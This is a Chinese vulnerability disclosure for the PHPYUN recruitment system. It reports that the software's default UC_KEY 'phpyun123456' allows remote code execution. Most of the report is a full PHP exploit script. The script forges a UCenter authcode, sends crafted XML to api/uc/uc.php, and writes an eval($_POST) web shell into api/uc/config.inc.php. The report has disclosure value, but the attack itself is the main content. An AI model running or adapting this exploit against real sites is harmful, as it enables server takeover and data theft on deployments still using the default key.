### 简要描述：

PHPYUN设计缺陷导致轻易Getshell

### 详细说明：

#1 设计缺陷

phpyun集成了部分ucenter功能,引入了UC_KEY，且默认设置为"phpyun123456"

```

define("UC_KEY","phpyun123456");

```

你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道，详情请见

```

[WooYun: Discuz的利用UC_KEY进行getshell](http://www.wooyun.org/bugs/wooyun-2014-048137)

```

```

http://www.2cto.com/Article/201401/272274.html

```

#2 利用UC_KEY实现Getshell

```

// 代码版权归原作者所有！

$timestamp = time()+10*3600;

$host="www.vulns.org";

$uc_key="phpyun123456";

$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

http://x\');eval($_POST[DOM]);//

';

$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

http://x

';

$html1 = send($cmd1);

echo $html1;

$html2 = send($cmd2);

echo $html2;

function send($cmd){

global $host,$code;

$message = "POST https://images.seebug.org/upload/api/uc/uc.php?code=".$code." HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: ".$host."\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$message .= "Host: ".$host."\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

//var_dump($message);

$fp = fsockopen($host, 80);

fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}

}

?>

```

运行上面的代码

[](https://images.seebug.org/upload/201401/22121424d3d53688761b06819094dbfe6d038b3a.jpg)

即可往 api/uc/config.inc.php 写入恶意的代码

[](https://images.seebug.org/upload/201401/2212214678cb6a06ebf5d0b0ae084db261d6c86f.jpg)

### 漏洞证明：

# SO...

[](https://images.seebug.org/upload/201401/22122058427eb6148f8488c66ae18c0909b6479f.jpg)